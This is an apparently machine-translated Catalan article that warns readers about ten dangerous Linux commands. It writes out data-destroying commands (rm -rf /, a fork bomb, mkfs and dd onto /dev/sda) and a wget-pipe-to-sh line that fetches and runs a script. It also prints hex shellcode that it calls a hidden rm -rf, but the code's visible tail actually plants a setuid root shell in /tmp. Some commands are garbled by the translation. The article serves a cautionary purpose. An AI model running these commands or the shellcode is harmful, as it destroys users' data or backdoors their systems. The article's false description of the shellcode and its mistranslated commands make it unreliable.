10 ordres més perilloses: no hauríeu d'executar mai a Linux


La línia d'ordres de Linux és productiva, útil i interessant, però de vegades pot ser molt perillosa, especialment quan no esteu segur del que esteu fent. Aquest article no pretén fer-vos furiós per la línia d'ordres Linux o Linux. Només volem fer-vos saber algunes de les ordres que hauríeu de pensar dues vegades abans d'executar-les.

1. Ordre rm -rf

L'ordre rm -rf és una de les maneres més ràpides d'esborrar una carpeta i el seu contingut. Però una petita errada ortogràfica o desconeixement pot provocar danys irrecuperables al sistema. Algunes de les opcions utilitzades amb l'ordre rm són.

    L'ordre
  1. rm a Linux s'utilitza per suprimir fitxers.
  2. l'ordre rm -r suprimeix la carpeta de forma recursiva, fins i tot la carpeta buida.
  3. l'ordre rm -f elimina Fitxer de només lectura sense demanar-ho.
  4. rm -rf/: Força la supressió de tot el que hi ha al directori arrel.
  5. rm -rf * : Força la supressió de tot el directori/directori de treball actual.
  6. rm -rf . : Força la supressió de la carpeta i subcarpetes actuals.

Per tant, aneu amb compte quan executeu l'ordre rm -rf. Per superar l'eliminació accidental del fitxer mitjançant l'ordre 'rm', creeu un àlies de l'ordre 'rm' com a 'rm -i' al fitxer .bashrc, us demanarà que confirmeu cada supressió.

2. :(){:|:&};: Comandament

L'anterior és en realitat una bomba de forquilla. Funciona definint una funció anomenada ':', que s'anomena dues vegades, una en primer pla i una altra en segon pla. Continua executant-se una i altra vegada fins que el sistema es congela.

:(){:|:&};:

3. comanda > /dev/sda

L'ordre anterior escriu la sortida de ordre al bloc /dev/sda. L'ordre anterior escriu dades en brut i tots els fitxers del bloc seran substituïts per dades en brut, la qual cosa provocarà una pèrdua total de dades al bloc.

4. carpeta mv /dev/null

L'ordre anterior mourà carpeta a /dev/null. A Linux /dev/null o el dispositiu null és un fitxer especial que descarta totes les dades escrites en ell i informa que l'operació d'escriptura té èxit.

# mv /home/user/* /dev/null

L'ordre anterior mourà tot el contingut d'un directori d'usuari a /dev/null, que literalment significa que tot el que s'ha enviat a blackhole (nul).

5. wget http://malicious_source -O- | sh

L'ordre anterior baixarà un script d'una font maliciós i després l'executarà. L'ordre Wget baixarà l'script i sh executarà l'script descarregat.

Nota: hauríeu de ser molt conscient de la font des d'on esteu baixant paquets i scripts. Utilitzeu només aquells scripts/aplicacions que es descarreguen d'una font de confiança.

6. mkfs.ext3 /dev/sda

L'ordre anterior formatearà el bloc sda i segurament sabríeu que després d'executar l'ordre anterior, el vostre bloc (disc dur) seria nou, NOU! Sense cap dada, deixant el vostre sistema en una fase irrecuperable.

7. > fitxer

L'ordre anterior s'utilitza per esborrar el contingut del fitxer. Si l'ordre anterior s'executa amb un error ortogràfic o desconeixement com > xt.conf, escriurà el fitxer de configuració o qualsevol altre sistema o fitxer de configuració.

8. ^foo^bar

Aquesta ordre, tal com es descriu a les nostres 10 ordres Linux menys conegudes, s'utilitza per editar l'ordre d'execució anterior sense necessitat de tornar a escriure l'ordre sencera. Però això pot ser realment problemàtic si no us vau córrer el risc de comprovar a fons el canvi a l'ordre original mitjançant l'ordre ^foo^bar.

9. dd if=/dev/aleatori de=/dev/sda

L'ordre anterior esborrarà el bloc sda i escriurà dades de brossa aleatòries al bloc. És clar! El vostre sistema es deixaria en una fase inconsistent i irrecuperable.

10. Ocult l'ordre

L'ordre següent no és més que la primera ordre anterior (rm -rf). Aquí els codis s'amaguen en hexadecimal perquè un usuari ignorant es pugui enganyar. Si executeu el codi següent al vostre terminal, esborrarà la vostra partició arrel.

Aquesta ordre mostra aquí que l'amenaça pot estar oculta i normalment no detectable de vegades. Has de ser conscient del que estàs fent i quin seria el resultat. No compileu ni executeu codis d'una font desconeguda.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Nota: No executeu cap de les ordres anteriors al vostre terminal o intèrpret d'ordres de Linux o al vostre amic o ordinador de l'escola. Si voleu provar-los, executeu-los a la màquina virtual. Qualsevol incoherència o pèrdua de dades, a causa de l'execució de l'ordre anterior, trencarà el vostre sistema de la qual, ni l'autor de l'article ni Tecmint són responsables.

Això és tot per ara. Aviat tornaré a ser aquí amb un altre article interessant que us encantarà llegir. Fins aleshores estigueu atents i connectats a Tecmint. Si coneixeu altres ordres perilloses de Linux i voleu que l'afegim a la llista, feu-nos-ho saber mitjançant la secció de comentaris i no us oblideu de donar els vostres comentaris valuosos.